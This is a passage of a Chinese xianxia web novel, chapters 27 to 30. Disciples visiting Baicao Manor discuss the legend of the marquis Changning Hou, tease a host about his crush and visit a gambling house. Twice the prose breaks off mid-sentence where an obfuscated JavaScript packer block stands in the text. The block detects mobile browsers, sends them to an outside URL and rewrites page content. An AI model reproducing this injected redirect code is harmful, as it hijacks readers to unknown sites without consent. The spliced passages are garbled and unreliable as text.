洛纤凝凑了过来，冲沐辰风挤眉弄眼道:“对啊沐辰风，你干嘛对驻颜丹这么感兴趣？莫非……你很害怕自己容颜老去？” “谁、谁害怕了？！”沐辰风挺直腰板，故作镇定道，“我就是……单纯的好奇！再说了，难道你们不害怕自己容颜老去？” “我还真不怕！”洛纤凝昂首挺胸，神色傲然道，“我将来可是要修成仙的，修成仙是不会变老的，就像琼芳长老那样，不，我会比琼芳长老更年轻！更早修成仙！” 沐灵泽:“……” 沐辰风:“……吹吧你。” 27. 人间15 转过一处花园，一座古朴的、被四周的松树掩映着的殿宇便远远地出现在了几个人的视线当中。 洛纤凝指着那座殿宇问道:“杨大哥，那是什么地方？” 看起来好神秘的样子。 杨冲站定脚步，道:“那是我们百草山庄的炼丹房。” 沐辰风道:“哇，那就是炼驻颜丹的地方，我们可以进去看一眼么？” “不可以。”杨冲婉言拒绝了他的请求，“我娘说了，炼丹房只许六个人进去，其他人包括我，都不能进去。” “为什么啊？”洛纤凝好奇道，“连杨大哥你都不能进去？” 杨冲道:“说是里面的东西很昂贵又很危险，一旦损坏，后果不堪设想。你们别看我娘平时脾气挺好，一旦发起火来，那可是会吃人的！” “……” 三个机灵鬼交头接耳道:“有这么可怕么？” “就是，温庄主看起来也不像是会吃人的人。” “八成是吓唬我们。” 交流完毕，洛纤凝道:“那都是哪六个人？” 正说着，就看见炼丹房的大门被人打开，从内走出四名眉清目秀、身着素色衣衫的少女，大约十八九岁的年纪。 杨冲笑道:“真是说什么，什么就到！” 他扬起手冲那四名少女挥了几下，四名少女见状，立刻将炼丹房的大门落了锁，然后朝一行人款步走来。 “这六个人，分别是我娘，辛姐姐，和这四位妹妹。这四位妹妹和辛姐姐一样，都是我娘的得力助手，不仅会武功，还会医术，分别叫青黛、半夏、白芷和茯苓。” 说话间，四姐妹已行至一行人跟前，杨冲一一向两拨人介绍起了彼此。 青黛是四姐妹中最年长的，也是性子最稳重的。她看着洛纤凝等人，笑得十分端庄:“欢迎你们来百草山庄做客，有什么需要尽管告诉我们，我们就住在前面那几间房。” “好的青黛姐姐！”洛纤凝开心地应道。 “那我们先告辞了。”青黛说罢，有意无意地看了杨冲一眼，这才带着三个妹妹朝正厅的方向去了。 杨冲领着五个人来到了几间房屋跟前，问道:“这儿有三间空房，今早刚收拾过，你们谁先住这儿？” 洛纤凝道:“谢谢杨大哥，不过，我跟师姐住一间就好！” 沐灵泽道:“那我跟沐辰风住一间，大师兄一个人一间，正好。” 杨冲点头道:“也行。柳兄，你们这一路走来，想必也累了，先休息片刻，一会儿我让人给你们端些茶水和点心来。” 五个人道了声谢后，便钻进了各自的屋里闷头睡起了觉，毕竟这一路走来，确实人困马乏。 洛纤凝躺在床榻上，晃荡着脚丫子，道:“师姐，你说，温庄主那驻颜丹到底是怎么炼成的？她也太厉害了吧！” 林惜英合着眼，道:“不知。” 洛纤凝又道:“真羡慕杨大哥，有一个漂亮又温柔的娘，还有一群漂亮又可爱的姐姐和妹妹，唉！” 林惜英偏头看她，微微皱眉道:“叹什么气？你不是也有么？” “可是我没有娘啊！”洛纤凝眨着眼道，“我都不知道有一个娘是什么样的感觉。” 林惜英默然了片刻，垂下眸道:“我也不知道有一个娘是什么感觉，但我有师父，我觉得，都一样的。” 洛纤凝:“……” 她要是有一个像琼芳长老那样的娘，还不如没有，太可怕了，还是温染好，漂亮又温柔，笑起来还好看，像朵花一样。 不像琼芳长老，整天板着一张脸，跟黑白无常似的，她都不敢想象琼芳长老笑起来会是什么样子，一定比鬼还可怕吧！ 晚饭是杨冲命仆人端上门的，有素菜也有肉菜，花花绿绿的，无比的丰盛。 杨冲没有和温染闻辛她们一同用饭，而是选择和柳惜朝一起，期间，杨冲欢快的笑声时不时传到了两侧的房间，教人想不听见都难。 洛纤凝咬着筷子道:“这杨大哥的嗓门也太大了吧？比我师父还大。师姐你听，大师兄是不是在说我坏话？！” 林惜英:“……好像。” 洛纤凝一拍桌子道:“大师兄真讨厌！他怎么老喜欢把我小时候的事讲给别人听？！等回去之后，我要和他断绝师兄妹关系！” 林惜英:“……吃饭吧，再不吃就凉了。” 洛纤凝:“……哼！看在有这么多好吃的份上，暂且先原谅他这一次吧！” 晚饭结束后不久，仆人来收拾碗筷，杨冲从门外迈了进来，笑眯眯道:“长夜漫漫，两位妹妹是不是很无聊啊？走，杨大哥带你们去我们百草山庄的藏书阁逛逛，挑几本书给你们看，如何？” “有最时兴的话本么？！”洛纤凝兴奋道。 杨冲挑眉一笑:“当然有了！什么都有！” “那有鬼故事么？！” 杨冲嘴角一僵，道:“这个……好像……没有……吧。” “没关系！有话本也很好！走，师姐，我们挑话本去！”洛纤凝拉住林惜英的胳膊，蹦蹦跳跳地迈出门去，一嗓子将沐灵泽和沐辰风也喊了出来，一行人开开心心地朝藏书阁的方向奔去。 路上，柳惜朝问道:“对了杨兄，怎么没看见秦叔？” “秦叔是谁？”几个人好奇道。 杨冲道:“就是我们百草山庄的副庄主，我爹的结义兄弟，秦牧。秦叔他一生无儿无女，视我为亲子，我和辛姐姐的武功都是他教的。可就在半年前，他突然留下一封信，离家出走了。” “离家出走了？”柳惜朝深觉好笑，毕竟这人都一把年纪了，“去哪儿了？” “说是要去游历大好河山。我就奇了怪了，他年轻的时候不是已经游历过了么？都一把年纪了，瞎折腾什么啊？所以我猜，一定是因为我娘不肯接受他，他悲痛之下，就离家出走了。” “秦叔喜欢你娘？！”洛纤凝震惊道，但很快就淡定了下来。 瞧瞧她发现了什么。她就知道，像温染这样的大美人，怎么可能没有男人追呢！ 杨冲摆摆手道:“哎呀，小孩子家家的，不要问这么多……哎，你们看，到了。” 五个人抬起头朝上一望，果然见这殿宇的门楣上挂着一块名为“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009728|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏书阁”的门匾，整座殿的长度和宽度与长绝山的藏经阁相仿。 待迈入藏书阁中，映入眼帘的，便是墙上挂着的一幅又一幅画，红的，黑的，蓝的，紫的，黄的，绿的…… 有山水画，有妖魔鬼怪的画像，还有很多人的画像。 杨冲十分大方道:“这就是我们百草山庄的藏书阁，里面书籍字画应有尽有，你们随意观看，如果有喜欢的，可以拿去你们房间看，当然，除了这些画。” 林惜英自进门的第一眼，就被一幅红色的画像吸引了。她径直朝左前方走去，盯着画像中的女子，问道:“此画所画何人？” 几个人出于好奇，全都跟了过去。 杨冲道:“林姑娘，你眼神真好，这画呀，画的是两百年前，我们大昭的第一位女侯爷，长宁侯花若雪！” 长宁侯花若雪？ 五个人凝神望去，只见画中那女子，一袭绯衣劲装，□□骑着烈马，手上挽着雕弓，弦上搭着两只羽箭，双目一睁一闭，一派英姿飒爽，眉宇之间英气十足，比这世间最俊朗的男子还要英武许多。唯一美中不足的，便是那一头乌发之中，突兀地镶嵌着几缕白发，为她整个人平添了几分苍凉。 洛纤凝没忍住叹道:“原来这就是师姐曾经同我讲过的，大昭的第一位女侯爷，花若雪。这长得也太好看吧，比杨大哥你还好看！” 杨冲额角一跳，看向洛纤凝:“怎、怎能拿我一个男子和女子比？” 洛纤凝嘻嘻一笑，伸出手想摸一下这画，杨冲立即制止道:“哎，不能摸，这可是辛姐姐最宝贝的一幅画，当心给摸坏了，回头她要骂我的。” “……这么宝贝，那为何不挂在自己房间里？挂在这里做什么？” “这你就不懂了，”杨冲眉飞色舞道，“辛姐姐说了，好的东西应当拿出来供大家一起欣赏，挂在房间里一个人欣赏，难免有些暴殄天物。” ……有道理。 林惜英道:“不知这画是何人所画？长宁侯当真长这样？” 杨冲道:“是一位游历江湖的女画师所作。当然，这都是后世之人杜撰的，毕竟都两百多年过去了，真正的长宁侯长什么模样，谁还记得？不过据说长宁侯早先的确是一位极其貌美的女子，只不过后来在战场上受了伤，容貌便不似以往那般了。” “啊？“沐辰风一惊一乍道，“那也太可惜了吧？” “可惜什么？”洛纤凝斜他一眼道，“不过是一副皮囊而已，人家长宁侯是什么人？人家可是从小就立志将来要封侯拜相名扬天下的人，又岂会在意区区一副皮囊？” 沐辰风嗤笑道:“你说得轻巧，这世上哪有女子不在乎自己容貌的？就说你洛纤凝，方才温庄主夸了你一句好看，你高兴得跟什么似的……” “那能一样么？”洛纤凝真想敲碎他的脑袋，“别人夸我好看，我不高兴，难道要哭丧着一张脸啊？而且我可从来没有说过我自己长得貌美如花，倒是有些人，明明长得跟只癞蛤蟆似的，却天天嚷嚷着自己风流倜傥，玉树临风，切！” “你！”沐辰风脸颊气得通红，“罢了，我懒得跟你计较！” 28. 人间16 杨冲觉得这两名少年的对话很是有趣，以手掩唇悄无声息地笑了起来，还没笑多久，又听林惜英道:“鲜衣怒马如长宁侯，只可惜年纪轻轻，就死于旧疾复发。” 杨冲停止偷笑，正色道:“这些都是林姑娘在书中了解到的吧？” 林惜英觉得杨冲这话很是奇怪:“是，莫非书中有误？” “这我也不清楚，只是听说，坊间传闻，长宁侯并非死于旧疾复发，而是……”说到此处，忽然停下，故意吊人胃口。 洛纤凝心急如焚地扑到杨冲身边，催促道:“而是什么？杨大哥，你就不要卖关子了，快说快说。” 杨冲这才慢悠悠道:“而是死于……一句预言。” “什么预言？”洛纤凝和林惜英齐声问道。 所有人都被杨冲吸引了视线，因此也就没有人注意到，在他们身后，有一人悄无声息地迈进殿中，高声道:“山河将倾，女帝天下！” 这话犹如平地一声惊雷，五个人皆是一惊。柳惜朝对这些坊间传闻不感兴趣，一心只为斩妖除魔，沐灵泽与沐辰风并非南昭人，对别国之事大多只是道听途说，洛纤凝与林惜英更是第一次下山，只在书中大致了解过此人，具体如何，不得而知。 “什么女帝天下？”洛纤凝疑惑道，“这到底是怎么一回事？” 闻辛站在六个人面前，腰板挺得笔直，闻言答道:“坊间传闻，当时的司天监监正夜观天象，发现帝星逐渐移位，而在帝星周围，有一颗无比耀眼却又形状怪异的星正在向其靠近，有取而代之之意。因此，他们占卜出了一个预言：山河将倾，女帝天下。而后将其呈给了当时的皇帝。皇帝见之，大怒，但又不愿背负诛杀功臣的罪名，于是便趁长宁侯进宫觐见之时，将其毒死，伪造成旧疾复发。” “啊？！”洛纤凝惊讶得张大了嘴巴，“那这长宁侯死得也太冤了吧？！整个大昭又不是只有她一个女子，有本事那什么狗皇帝把所有女子全都杀光啊！我看他敢不敢！没有女人，他们就等着从石头缝里蹦出来吧！” 杨冲听了洛纤凝这话，摇头笑道:“当时满朝上下，只有长宁侯一个女子，且又手握兵权，皇帝自然第一个怀疑到她头上。宁可错杀一千，不可放过一个，我若是皇帝，估计也会如此。” 闻辛板着一张脸，好一阵，才咬牙切齿道:“什么狗屁预言，不过是一群没用的男人嫉妒长宁侯，联起手来想了个阴招将人害死罢了。” 林惜英道:“辛姐姐此话怎讲？” 闻辛冷笑一声，道:“长宁侯此人刚正不阿，锋芒毕露，路遇不平，不管他祖上是何人，上去就是一顿打。有一次，宰相的儿子当街调戏良家女，被长宁侯撞见，一脚下去，便将人踢成了太监；马球场上，带领众官员女眷大败世家子弟，害得那些不学无术的世家子弟被皇帝痛斥，颜面无光；不仅如此，她还向皇帝谏言，办女学，开女试，但皇帝不允，百官也不允，她便作了一首诗，讽刺天下男子，将当时的宰相气得险些一命呜呼。我猜，正是这诸多原因加在一起，才为她招来了祸患。” 林惜英轻叹一声，惋惜道:“过刚易折，倘若事实当真如此，那这长宁侯，实在不适合久居庙堂。不过她能为天下女子请命，其心可嘉，无论如何，都不该是如此下场。” 这时，沐辰风道:“可是你们方才都说了，这都是坊间传闻，当不得真，万一是你们想多了，长宁侯就是死于旧疾复发呢？” 闻辛道:“时过境迁，事实究竟如何，我等一介凡人，早已无从得知。但我始终相信，长宁侯之死，一定另有蹊跷。” 藏书阁内一时安静了下来，大家都在全神贯注地盯着长宁侯的画像出神，仿佛在为其哀悼。 过了一会儿，杨冲打破了这寂静，道:“文能作诗骂宰相，武能上马定乾坤，这长宁侯确实乃奇女子也，怪道都过去两百多年了，还有好些男子一提起她，就恨得牙痒痒，甚至还四处诋毁她，说她与当时的皇帝还有小定北侯纠缠不清，更有甚者，竟说小侯爷是为她殉情而死，简直荒谬！” 纠缠不清？殉情？ 这话一出，几个人又生出了想要一探究竟的心思，尤其是殉情，古往今来，无论史书还是话本，殉情都是少之又少。 林惜英道:“我记得书中写的是，小定北侯与长宁侯姐弟情深，是因长宁侯之死悲痛过度而亡。” 沐灵泽道:“我听他们说，长宁侯救过惠帝的命，惠帝因此而钟情于她，不仅为她找了定北侯当师父，还要封她当妃子。不过长宁侯不愿入宫为妃，而是选择和定北侯前往战场，因在战场上救过定北侯世子的命，而被定北侯收为了义女。莫非除了惠帝，定北侯世子也钟情于长宁侯？可是定北侯世子心仪之人难道不是福佳公主么？这到底是怎么一回事？” 闻辛道:“小侯爷与福佳公主乃是皇帝赐婚，小侯爷根本就不喜欢福佳公主，分明是那个狗皇帝看不惯自己得不到的人被他人得到，所以才故意赐的婚！而皇室之所以掩盖小侯爷殉情的真相，自然是为了皇室的颜面着想！” “怎么可能？！”杨冲反驳道，“就算小侯爷不喜欢福佳公主，那也不可能为了一个女人去殉情！” 闻辛不耐烦地瞪着他:“怎么不可能？” “因为……因为我就不可能为了一个女人去死！” “你不可能，不代表他不可能！再说了，长宁侯又岂是一般女子？” “她就算是二般女子，小侯爷也不可能为了她去殉情！放着荣华富贵和貌美如花的公主不要，为了一个人老珠黄的女人去死，傻不傻？！” “你说谁人老珠黄呢？！”闻辛肉眼可见地动气了，“长宁侯死时不过花信之年，怎么在你眼里就是人老珠黄了？即便她人老珠黄，那又怎样？！真心爱慕一个人，又怎会因她人老珠黄而抛弃她？！” “我……我……”杨冲支支吾吾不知该如何辩驳，也不敢再辩驳，生怕下一刻闻辛就给他 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她大喊一声，蹦到林惜英面前，问道:“我听师父说，人死后两百年就会转世，长宁侯如今刚好死了有两百……二十多年吧？那她现在会是谁呢？” 林惜英躺在榻上，双目微合，悠悠然道:“不知道。师父说过，前世与今生并非同一个人，即便长宁侯如今已经重新投胎，也早已不是当年的长宁侯了，你即便知道，又能如何？” “……也对哦。”洛纤凝有些失落道，“可我就是好奇，她到底长什么样嘛？师姐，你说，一个人的前世和今生，会长得一样么？” 林惜英想了想，道:“我问过师父，师父说，有些人长得一样，有些人长得不一样，有些人长得好看，有些人长得不好看，全看阎王爷的心情如何。” 洛纤凝:“……” 沉吟片刻，她若有所思道:“那我一定是阎王爷心情不好时投的胎，这个阎王爷，真是太坏了！” “非也。”林惜英一本正经地反驳道，“你若是阎王爷心情不好时投的胎，此刻多半丑得难以入目。” 洛纤凝:“……那我还得感谢阎王爷喽？没有让我丑得惨绝人寰？” 林惜英:“随你。” “……什么嘛！”洛纤凝双手叉腰，在林惜英面前踱来踱去，十分暴躁地道，“阎王爷怎么可能会这么草率？！这肯定是琼芳长老胡说八道逗你玩的！这个琼芳长老，惯会胡说八道骗小孩！小的时候她还骗我说什么跟男孩子玩会变丑，结果我天天跑去翠竹峰找你玩，也没见我长得有多好看嘛！” 林惜英强忍着笑，道:“不许说我师父坏话。” 洛纤凝:“……算了，我看我还是睡觉吧，问来问去，关我什么事呢？师姐，往里挪一下呗，今天我要睡外面。” 林惜英面无表情地从床榻上下来，道:“睡里面，我怕你一个翻身把自己摔下来。” 洛纤凝:“……哦，好吧。” 29. 人间17 五个人一觉睡到天光大亮，早上洗漱完毕，匆匆用完早饭，就朝正厅的方向走去，打算去找杨冲。 洛纤凝哼着小曲儿走在最前方，就在即将到达目的地时，忽然脚步一顿，做贼似的急急往后退了三四步，将脸贴在了一旁的墙壁上。 其余四人行至她身侧，好奇地张望道:“怎么了？怎么不走了？” 洛纤凝食指抵在唇边，压低声音道:“嘘，有情况。”说着伸出胳膊挡住四个人的去路，往自己背后一塞。 “……什么情况？”柳惜朝皱眉道。 沐灵泽踮起脚尖道:“对啊，什么情况，让我看看……是杨大哥和青黛姐姐，他们俩在干嘛？” 五个人贴在墙壁上遥遥望去，只见正厅前那两个人，一个要往前走，一个挡在一个面前不让一个往前走，一个左跨一步，一个也左跨一步，一个右跨一步，一个也右跨一步，十分的滑稽有趣，引人注目。 青黛没料到一大清早的，杨冲又开始手脚发闲，遂佯装不耐烦道:“尊敬的少主大人，你又想干什么？” 杨冲嘻嘻一笑，道:“青黛，你能不能别老跟辛姐姐学，成天到晚板着个脸，多难看。人总是不笑的话，是会变丑的，你看看辛姐姐，她是不是越来越丑了？” “你胡说！”青黛瞪着面前的人道，“辛姐姐哪里丑了？再说了，那个林姑娘不也是不爱笑么？人家照样长得好看。” “她……她不一样！”杨冲有些尴尬道，“她那是例外，人家天生丽质，那能一样么？” “我不管，你就是胡说八道，我要告诉辛姐姐去，你说她丑，看她回头会不会揍你！” “别呀！”见青黛拔腿就往闻辛房间走，杨冲一下就急了，追到青黛身后喊道:“青黛！青黛妹妹！我错了，你别告诉辛姐姐好不好？青黛？青黛！你要是敢找辛姐姐告我的状，我就……” “你就怎样？”青黛停下脚步，回身看他。 杨冲脚步一滞，道:“我就……我就再也不理你了！” 青黛微微一笑，道:“随你。” “嘿！”杨冲正要再跟上去，结果一转身就看见柳惜朝一行人朝自己走来，只好调转方向，冲几个人打招呼道:“早啊柳兄！早啊两位弟弟妹妹！怎么样，住得还习惯么？” “习惯！习惯得很！”沐灵泽和沐辰风齐声应道。 柳惜朝大步迎上前去，拍了拍杨冲的肩膀，低声道:“杨兄，我劝你稍微收敛一点。” 杨冲被柳惜朝拍得一头雾水:“收敛什么？” 柳惜朝看了眼青黛远去的背影，小声道:“你难道看不出来，青黛她喜欢你么？” “什么？！”杨冲惊得五官都错位了，他赶忙就方才的事解释道:“柳兄，你可别胡说八道，青黛她怎么可能会喜欢我？！我方才不过是闲得没事干逗逗她罢了！你是不知道，她从小到大老跟在辛姐姐屁股后面和我作对，辛姐姐往东，她就绝不往西！我宁愿相信她会喜欢辛姐姐，也绝对不可能相信她会喜欢我！” “是真的哦。”洛纤凝抱着胳膊凑了过来，不怀好意地看着杨冲，嘴角高高翘起，“杨大哥，我方才看得可真切了，青黛姐姐她背对着你的时候，嘴角的笑都快压不住了！你说，这不是喜欢，又是什么呢？” “……她笑怎么了？！”杨冲死活都不愿相信青黛会喜欢他，“她笑就说明她喜欢我？那你现在也对我笑呢，你是不是也喜欢我？” “……怎么可能？！”洛纤凝觉得杨冲这话很没道理，但又不知该如何反驳他，只好无理取闹道:“反正我不管，青黛姐姐她就是喜欢你！” 杨冲也偏过脸去，神色倔强道:“反正我不管，青黛她就是不喜欢我！就算她喜欢我也没用，我又不喜欢她！” “那你喜欢谁？”洛纤凝假装不经意地问道。 “那当然是……”说到这儿才骤然反应过来，自己上当了！于是赶忙改口道:“我为什么要告诉你？洛妹妹，你也太奸诈了吧？！柳兄，你能不能管管你师妹，你看看她，小小年纪不学好，张口闭口就是喜欢……” “你们听你们听，杨大哥有喜欢的人！杨大哥有喜欢的人！”洛纤凝一副惊喜万分的神情，撒开腿就开始跑，一边跑，一边大声嚷嚷了起来，恨不得让所有人都听见。 杨冲哪好意思让别人知道自己有喜欢的人，二话不说急急忙忙地追了过去:“洛妹妹，洛纤凝！这一大清早的，你瞎嚷嚷什么呢？快给我住嘴！再胡说八道，小心我……” 洛纤凝才不管杨冲和柳惜朝，躲在林惜英和沐灵泽的背后有恃无恐地继续喊，恰巧此时闻辛经过，洛纤凝又溜到闻辛面前道:“辛姐姐！杨大哥他有喜欢的人，你知道么？” 杨冲方才还恨不得冲上去捂住洛纤凝的嘴，此刻见了闻辛，却突然放慢了脚步。 准确来说，是停下了脚步，并且小心翼翼又满含期待地看着前方那道玄色身影。 “哦？”听见杨冲有心上人，闻辛脸上除了好奇，并未有任何异常。她抬眼看向杨冲，面无表情道:“冲弟有喜欢的人？是哪家的姑娘？” 洛纤凝道:“这个嘛，我们也不知道，你得问杨大哥！” 闻辛只好来到杨冲面前，郑重其事道:“哪家的姑娘？若是正经人家的姑娘，待我问过义母后，就去帮你提亲。” “……不、不用了，”杨冲平时有话就说，从不拐弯抹角，可面对闻辛，却总是语无伦次，“我就是……随口一说，闹着玩的，我怎么可能……” “没有的话，我去找义母了。”闻辛似乎对这个义弟很没有耐心，不等他将话说完，便快步与他擦肩而过。 杨冲盯着闻辛挺直又冷漠的背影，呆呆地看了许久，久到人都没影了，才“哈哈”大笑了两声，道:“你们看，她永远都是这样，永远都不会认真听我把话说完，一天到晚不是跟在我娘屁股后面，就是在找我娘的路上，不知道的还以为她喜欢我娘呢！” 已经石化的五个人:“……” 这下瞎子都能看出来，杨冲喜欢的人极有可能是闻辛了，毕竟方才闻辛说要给杨冲提亲，杨冲的表情可不是一般的耐人寻味，还有他方才大笑着说出口的那番话，更加耐人寻味。 虽是在笑，却并无半分开心，反而比哭还难听。 可大家还是不愿相信，毕竟闻辛模样一般，脾气也一般，而男人不都喜欢长得好看的和脾气好的女子么？更何况是杨冲这样英俊又自信的男子。 怪哉，真是怪哉。 五个人面面相觑，不知道该说些什么，就见杨冲转过身来看向他们。 “都愣着干嘛？走！我带你们去城里逛逛！总不能让你们白来，是不？”杨冲眉毛一挑，对几个人说道，仿佛刚才什么事情都没有发生。 五个人还没回过神来，就被他拉着朝山下走去。 乌县。 天空阴沉沉的，仿佛随时要落下一场雨。杨冲搂着柳惜朝的肩膀走在集市的最前方，絮絮叨叨地说着什么，时而唉声叹气，时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022759|166943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而放声大笑。其余四人则远远地落在最后。 “她爱他，他爱她，她爱……呸，她谁也不爱。”洛纤凝竖着手指比划道，“师姐，原来话本里写的都是真的啊。师姐，你说辛姐姐知道杨大哥喜欢她么？” 林惜英:“不知。” 洛纤凝:“你怎么知道她不知道？” 林惜英:“……我是说，我也不知道她知不知道。” 洛纤凝:“……哦。师姐，那你说，我们要不要告诉辛姐姐，杨大哥喜欢她？” 沐灵泽紧紧地跟在洛纤凝身后，听见她这话，忙不迭道:“喂喂喂，洛纤凝，我劝你可千万不要多管闲事，人家两个人的事，就交给人家自己去解决好不好？你瞎凑什么热闹？” “就是！”沐辰风撇撇嘴道，“什么都要插一脚，小心人家并不领你的情，还怪你多管闲事！” 洛纤凝气得牙痒痒，她转过身想给两个人的脑壳狠狠一击，就见沐辰风朝旁一闪，盯着前方，两眼放光道:“洛纤凝，林师姐，你们想不想去一个地方？一个特别好玩、特别有趣的地方？” 洛纤凝拳头悬在半空中，道:“什么地方？” 沐辰风抬起下巴指了指前方，道:“一个你从来没有去过的地方，赌坊。” “赌坊？！”洛纤凝瞪大眼睛道，“你想害死我们啊沐辰风？你不知道我们长绝山弟子不能去这种地方么？” 沐灵泽也瞪着沐辰风道:“沐辰风，你又皮痒了是么？跟你说过多少遍了，这地方去不得！你忘了你上次去赌坊被堂姐罚跪的事了么？” 对此，沐辰风不以为意，他搂住沐灵泽的肩膀，睁着一双贼溜溜的眼睛道:“你不说，我不说，我们都不说，有谁知道我们去过这种地方？”又转向洛纤凝，“而且你们看，大师兄都走远了，我们悄悄去，他不会知道的。” “那也不行！”洛纤凝斩钉截铁地拒绝了他的请求，拉着林惜英继续往前走，“要去你自己去，我和师姐断不可能去这种地方！你休想害我们！” “我怎么可能会害你们？！”沐辰风追了上来，锲而不舍道，“洛纤凝，真不是我吹，我沐辰风的赌技那可不是一般的高，你跟着我，只会挣钱，绝对不会输钱！难道你不想挣很多钱，买很多好吃的好玩的么？” 洛纤凝脚步一顿，一脸狐疑道:“真的能挣很多钱么？” 她第一次下山，难免会对这种能挣大钱的地方生出好奇之心，方才种种，不过是嘴硬罢了。 沐辰风一拍胸脯道:“当然了！你以为我想去这种地方啊？还不是因为我和阿泽的钱都快花光了，再不想办法挣点钱，我们两个就只能打道回府了！是不是阿泽？！” 沐灵泽:“……” 他摸了摸自己日渐消瘦的荷包，心道:“对唉，再不想办法挣点钱，就真的要回碧落门了，到时就不能再跟着洛纤凝了。” 都怪上次出门太过匆忙，以至于钱都没带够。 不过这挣钱的法子未免有些…… “别犹豫了！”见两个人都开始动摇，沐辰风趁热打铁道，“我们还要去很多地方，住很多次店，买很多东西呢！而且我保证，就这一次，咱们就赌这最后一次，以后再也不赌了！” 洛纤凝偏头去看林惜英，眨眨眼道:“师姐，要不我们进去瞅一眼？我还没去过赌坊呢，嗯？” 林惜英:“我觉得……” 洛纤凝:“好！就这么决定了！我们走吧！” 林惜英:“……” 30. 人间18 赌坊内，嘈杂之声不绝于耳。 赌客的呼喊声，骰子的滚动声，筹码的碰撞声等交织在一起，不断地冲击着林惜英的耳膜。 林惜英感觉自己快聋了。 再去看洛纤凝，她倒玩得不亦乐乎，一会儿喊大，一会儿喊小，一会儿搂着沐灵泽，一会儿搂着沐辰风，活像个纨绔公子哥。 这地方于普通人而言，的确有一种神奇的吸引力，怪不得话本里有那么多人因为好赌而倾家荡产。 她实在受不了了，抬脚就朝外面走去。洛纤凝在后面喊道:“师姐！你干什么去？！” 林惜英:“太吵了，我在外面等你。” “那你站远点哦！小心被大师兄看见！” 林惜英:“……” 走出赌坊，感觉空气都变清新了，耳朵也如释重负。林惜英深吸一口气，打算离身后的这个“赌”字远一点，不然被柳惜朝发现就不好了。 她疾走两步，迈下台阶，经过一处偏僻的巷子时，忽然听见有人在求救，听声音，好像是个女人，声音断断续续的，让人听不真切。 也许是她听错了。 不，万一没听错呢？ 于是调转方向，加快脚步朝巷子里走去，待行至巷子深处，果然见三名形容猥琐的男子正在做见不得人的勾当。 青天白日，朗朗乾坤，三名男子，一个在脱自己身上的衣裳，两个在按躺在地上用力挣扎的女人。 林惜英眸中顿时寒光四起，下一刻，绝尘剑就刺穿了那个背对着她正在脱衣裳的男子。 这突如其来的变故让另外两名男子大惊失色，他们松开地上的女人，跳起来道:“你你你……你是谁？你想干嘛？！” 林惜英一语未发，面容冰冷得如同手中的绝尘剑。 两名男子对视一眼后，举起手中的拳头就朝林惜英砸了过来，却被林惜英不费吹灰之力就躲过。 一道剑光闪过，两名男子齐刷刷地倒在了满是杂草的地上，捂着喷着血的脖颈，很快就咽了气。 林惜英收剑归鞘，朝那女人走去，见那女人早已穿好衣裳，正要起身，想都没想就朝她伸出了手。 “啊——”女人大叫一声，重新倒在了地上，望着林惜英刚杀完人的那只手，眼神里满是恐惧，仿佛见鬼一般。 林惜英皱了皱眉，不明白女人在害怕什么。然而不等她再多想，女人便从地上爬了起来，道了声谢后，逃也似的奔出了巷子。 半个时辰过去了，洛纤凝三人终于赌完了。 这一趟可谓是赢得盆满钵满，洛纤凝系好鼓鼓的钱袋，左手勾着沐灵泽，右手搭着沐辰风，三个人高高兴兴地仰天大笑出门去，哪管他人的脸色。 出了门好一番寻找，才找到了立在街边发着呆的林惜英。 洛纤凝兔子一般窜了过去，拎着手里的荷包在林惜英面前晃道:“师姐你看！我挣得多不多？！” 林惜英双目无神，只微微点了一下头。 洛纤凝察觉出一丝不对，问道:“师姐，你怎么了？脸色怎么这么难看？” 沐灵泽凑了过来，道:“哪里难看了？这不是和刚才一样么？” 洛纤凝斜他一眼，道:“你懂什么？我师姐当然只有我才懂了！” 沐灵泽:“……好吧。” “话说这钱也太好挣了吧！”洛纤凝重新将荷包系好，颇为得意道，“沐辰风，你还说你从来不会输，结果呢，还不是输了好几把！” 沐辰风一听这话，一下就急了:“我那是运气不好……” “运气是最不靠谱的东西！” 一个半是熟悉半是陌生的声音突然插了进来，四个人不由一怔。 洛纤凝道:“辛姐姐？青黛姐姐？你们两个怎么在这儿？” 这真是好巧，不过还好不是柳惜朝，不然又要挨训了。 一行人结伴而行，来到了附近的一家茶肆。期间，闻辛喝了口茶，对洛纤凝等人道:“我给你们讲个故事吧。” 洛纤凝最喜欢听故事了，闻言忙点头道:“好啊辛姐姐，你讲。” 闻辛面色阴沉，如外面的天。 她缓缓开口道:“很久以前，有一个小女孩，她有一个好赌成性的父亲，还有一个柔弱可欺的母亲。 “原本小女孩家中不愁吃穿，可因为父亲好赌，把一切都败光了。母亲为此不知劝了父亲多少次，可换来的却是父亲一顿又一顿的毒打。 “六岁那年，小女孩的母亲病了，病得很严重，可父亲却不闻不问，任由母亲的病继续恶化，甚至诅咒她快点去死。小女孩记不清自己向父亲恳求了多少次，恳求他不要再赌了，恳求他出去挣一点钱给母亲看病，可换来的永远都只有一个字，滚。” “岂有此理？！”洛纤凝拍案而起，义愤填膺道，“这世上怎么会有这种丈夫和爹啊？！那后来呢？母亲的病看好了么？” 